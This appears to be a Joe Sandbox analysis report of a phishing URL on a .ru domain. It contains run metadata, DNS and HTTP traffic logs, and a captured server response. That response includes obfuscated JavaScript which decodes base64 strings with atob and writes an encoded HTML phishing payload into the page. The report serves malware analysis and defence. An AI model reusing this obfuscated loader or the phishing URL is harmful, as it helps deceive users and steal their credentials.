35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.16.2.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1648314
Start date and time:	2025-03-25 18:06:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://nz.freshmnind.ru/E9nFcFhuAwW2u/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.evad.win@21/76@38/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): sppsvc.exe, SIHClient.exe, SgrmBroker.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.80.99, 142.250.80.78, 64.233.180.84, 142.251.35.174, 142.250.64.78, 142.250.72.110, 142.251.32.110, 142.250.80.14, 142.250.65.174, 199.232.214.172, 142.250.176.206, 142.251.40.238, 142.250.81.238, 142.251.32.106, 142.250.65.170, 142.251.40.106, 142.250.65.234, 142.251.41.10, 142.251.40.138, 142.250.64.74, 142.250.65.202, 142.251.40.202, 142.251.40.170, 142.250.64.106, 172.217.165.138, 142.250.81.234, 142.250.176.202, 142.251.40.234, 142.251.35.170, 142.251.40.174, 142.250.65.206, 142.251.40.195, 142.251.40.163, 142.251.40.110, 172.202.163.200, 184.31.69.3
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://nz.freshmnind.ru/E9nFcFhuAwW2u/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 25, 2025 18:07:55.618552923 CET	53	58363	1.1.1.1	192.168.2.7
Mar 25, 2025 18:07:55.633325100 CET	53	63004	1.1.1.1	192.168.2.7
Mar 25, 2025 18:07:56.403808117 CET	53	64520	1.1.1.1	192.168.2.7
Mar 25, 2025 18:07:56.558017015 CET	53	57298	1.1.1.1	192.168.2.7
Mar 25, 2025 18:07:57.435936928 CET	53	64330	1.1.1.1	192.168.2.7
Mar 25, 2025 18:07:59.482453108 CET	53372	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:07:59.482749939 CET	65230	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:07:59.590802908 CET	53	53372	1.1.1.1	192.168.2.7
Mar 25, 2025 18:07:59.591388941 CET	53	65230	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:01.303304911 CET	64368	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:01.303419113 CET	55138	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:01.641339064 CET	53	64368	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:01.670588017 CET	53	55138	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:03.131422997 CET	60148	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:03.131974936 CET	50708	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:03.147218943 CET	65534	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:03.147588015 CET	58826	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:03.238423109 CET	53	50708	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:03.240189075 CET	53	60148	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:03.254141092 CET	53	58826	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:03.256181002 CET	53	65534	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:04.711427927 CET	57574	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:04.711924076 CET	52953	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:04.820069075 CET	53	57574	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:04.820097923 CET	53	52953	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:05.354543924 CET	51102	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:05.354962111 CET	60183	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:05.463409901 CET	53	51102	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:05.465924978 CET	53	60183	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:12.872653961 CET	64241	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:12.872837067 CET	56597	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:13.242172003 CET	53	64241	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:13.249399900 CET	53	56597	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:14.319916010 CET	64624	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:14.320085049 CET	52179	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:14.426698923 CET	53	64624	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:14.662955999 CET	53	52179	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:14.679869890 CET	53	53360	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:14.884613037 CET	56670	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:14.884947062 CET	60154	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:15.244549990 CET	53	60154	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:15.915462017 CET	61481	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:16.243606091 CET	53	61481	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:16.769325972 CET	57517	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:16.769499063 CET	64339	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:16.874463081 CET	53	57517	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:16.874624968 CET	53	64339	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:17.628019094 CET	63393	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:17.628173113 CET	61445	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:17.632070065 CET	64980	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:17.632410049 CET	64455	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:17.735510111 CET	53	61445	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:17.740304947 CET	53	63393	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:17.767467976 CET	53	64455	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:18.170871973 CET	56416	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:18.171112061 CET	50522	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:18.287252903 CET	53	50522	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:18.287272930 CET	53	56416	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:18.712094069 CET	57125	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:18.817466974 CET	53	57125	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:21.953977108 CET	50775	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:21.954251051 CET	61974	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:08:22.089272976 CET	53	61974	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:22.117950916 CET	53	50775	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:22.290210962 CET	53	61893	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:33.763967037 CET	53	63938	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:55.436841011 CET	53	61811	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:56.809708118 CET	53	50617	1.1.1.1	192.168.2.7
Mar 25, 2025 18:08:57.698987961 CET	53	58664	1.1.1.1	192.168.2.7
Mar 25, 2025 18:09:16.778209925 CET	63113	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:09:16.778388977 CET	50455	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:09:17.793045998 CET	55355	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:09:17.793246984 CET	51729	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:09:19.824850082 CET	54126	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:09:20.839472055 CET	54126	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:09:21.855119944 CET	54126	53	192.168.2.7	1.1.1.1
Mar 25, 2025 18:09:23.855137110 CET	54126	53	192.168.2.7	1.1.1.1

Timestamp	Bytes transferred	Direction	Data
Mar 25, 2025 18:08:09.995945930 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 25, 2025 18:08:10.097115993 CET	222	IN	HTTP/1.1 304 Not Modified Date: Tue, 25 Mar 2025 17:03:27 GMT Expires: Tue, 25 Mar 2025 17:53:27 GMT Age: 283 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 25, 2025 18:08:10.103291988 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 25, 2025 18:08:10.201122046 CET	222	IN	HTTP/1.1 304 Not Modified Date: Tue, 25 Mar 2025 17:03:30 GMT Expires: Tue, 25 Mar 2025 17:53:30 GMT Age: 280 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:01 UTC	680	OUT	GET /E9nFcFhuAwW2u/ HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 17:08:02 UTC	1200	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TwYwCZsO2AZAagI%2BL91LlBKPq15nJ89IPpcrD0wTGv2e5tOtNtaBcLAZaT5EpNzsMbBxHPZIDDcrOZ6BEOJlzwj2WGm9xIFbjd6Px4S6xpfzhGkIqF7PiAKkVEOM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1192&min_rtt=1185&rtt_var=341&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1573&delivery_rate=2391412&cwnd=251&unsent_bytes=0&cid=ad4550cd1fc105fe&ts=131&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlJTb3lOTGc1Y3JSMCt0dEVPbTdJL2c9PSIsInZhbHVlIjoiTDlUL2hGaXZKWFpTQ2hDZkIzZWRwWHJyYkJZUEVXYmZmT0N3SWtnZG9MaGpMbU0yZ0FFSGZtOFp0Y0NKckhMZDhnQmJOQjNQYVlRSlpwNUMzbGJwNnFyQ0RxUnkxcW9KajVEdUhuTmJtVUhYaXQ3Qlhib3o4RWdGZ0k3KzFSSGciLCJtYWMiOiJlZDZlNWEyY2FkOWQ3YzgxOTM5MDIxZjNiOWE1YjU1MWEwZThhOWJhZjg4MjJjNTgwM2IwOTMyNmZkYzM4ODNjIiwidGFnIjoiIn0%3D; expires=Tue, 25-Mar-2025 19:08:02 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-25 17:08:02 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 52 6f 62 58 42 50 63 54 6c 4e 55 44 6c 54 54 43 39 53 64 56 42 6f 4d 55 46 49 4d 6d 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4d 33 4e 55 65 56 46 52 55 30 31 73 4d 6e 52 45 54 30 4e 76 65 45 78 42 5a 32 74 50 51 57 35 47 64 30 46 36 52 47 68 45 4b 30 70 61 53 33 64 76 59 58 64 7a 54 44 45 31 63 48 6c 69 4b 79 74 6f 55 44 5a 56 4d 54 56 33 4e 6a 6b 32 5a 33 45 32 54 44 64 68 4e 31 6c 69 63 47 55 32 55 43 74 54 51 33 46 70 4d 44 64 6b 53 48 6c 69 63 45 74 5a 61 6b 52 58 62 7a 52 76 64 57 56 73 4d 32 4e 6f 55 48 49 32 59 6a 6c 6c 54 56 70 55 4d 6c 5a 72 62 47 74 78 53 46 52 47 54 55 78 6e 57 6a 56 32 4d 56 68 70 59 54 42 4d 52 30 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkRobXBPcTlNUDlTTC9SdVBoMUFIMmc9PSIsInZhbHVlIjoiM3NUeVFRU01sMnRET0NveExBZ2tPQW5Gd0F6RGhEK0paS3dvYXdzTDE1cHliKytoUDZVMTV3Njk2Z3E2TDdhN1licGU2UCtTQ3FpMDdkSHlicEtZakRXbzRvdWVsM2NoUHI2YjllTVpUMlZrbGtxSFRGTUxnWjV2MVhpYTBMR0Y
2025-03-25 17:08:02 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 3c 73 63 72 69 70 74 3e 0a 4e 48 58 73 4b 78 73 42 54 59 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 6b 61 58 46 61 4c 6b 5a 79 5a 58 4e 6f 54 57 35 70 62 6d 51 75 63 6e 55 76 52 54 6c 75 52 6d 4e 47 61 48 56 42 64 31 63 79 64 53 38 3d 22 29 3b 0a 4e 62 4e 48 45 67 6d 78 70 56 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 76 67 75 70 75 55 74 73 53 6a 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 4e 48 58 73 4b 78 73 42 54 59 20 3d 3d 20 4e 62 4e 48 45 67 6d 78 70 56 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 76 67 75 70 75 55 74 73 53 6a 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 Data Ascii: 7ff9<script>NHXsKxsBTY = atob("aHR0cHM6Ly9kaXFaLkZyZXNoTW5pbmQucnUvRTluRmNGaHVBd1cydS8=");NbNHEgmxpV = atob("bm9tYXRjaA==");vgupuUtsSj = atob("d3JpdGU=");if(NHXsKxsBTY == NbNHEgmxpV){document[vgupuUtsSj](decodeURIComponent(escape(atob('PCFET0NUWVBF
2025-03-25 17:08:02 UTC	1369	IN	Data Raw: 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 Data Ascii: 6g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk4
2025-03-25 17:08:02 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 Data Ascii: k44Wk44Wk44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g77
2025-03-25 17:08:02 UTC	1369	IN	Data Raw: 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 Data Ascii: 776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776
2025-03-25 17:08:02 UTC	1369	IN	Data Raw: 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 Data Ascii: 76g44Wk776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g
2025-03-25 17:08:02 UTC	1369	IN	Data Raw: 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 Data Ascii: 6g776g44Wk776g776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk7
2025-03-25 17:08:02 UTC	1369	IN	Data Raw: 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 Data Ascii: k776g44Wk44Wk44Wk776g776g776g44Wk776g776g776g776g776g776g44Wk776g776g776g776g44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk776g776g44Wk776g44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk77
2025-03-25 17:08:02 UTC	1369	IN	Data Raw: 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 Data Ascii: 44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776
